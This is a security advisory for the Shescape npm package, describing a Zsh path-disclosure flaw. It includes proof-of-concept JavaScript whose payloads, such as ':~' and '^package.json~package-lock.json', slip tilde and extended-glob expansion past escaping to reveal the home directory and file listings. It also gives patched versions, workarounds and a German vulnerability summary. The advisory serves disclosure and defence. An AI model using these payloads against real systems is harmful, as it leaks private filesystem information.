Shescape: Path disclosure on Unix with Zsh
Impact
This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.
In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.
Without option / with MAGIC_EQUAL_SUBST
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);
// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.
With EXTENDED_GLOB
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv
// 2. Payload
let payload;
payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);
// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | shescape | < 2.1.14, >= 3.0.0, < 3.0.1 | 2.1.14, 3.0.1 |
Verweise
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x
- https://github.com/ericcornelissen/shescape/pull/2649
- https://github.com/ericcornelissen/shescape/pull/2651
- https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de
- https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f
- https://github.com/ericcornelissen/shescape
- https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md
- https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14
- https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-155, CWE-78- Plattform
- npm
- Paket
shescape- Veröffentlicht
- 24.07.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-6v4m-fw66-8r4x - CC BY 4.0
Schwachstellenhistorie: shescape
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 13
- Erste → letzte
- 03.2021 07.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 5
- Mittel 4
- Niedrig 2
Veröffentlichungen pro Jahr
- 2021: 1
- 2022: 4
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 5
-
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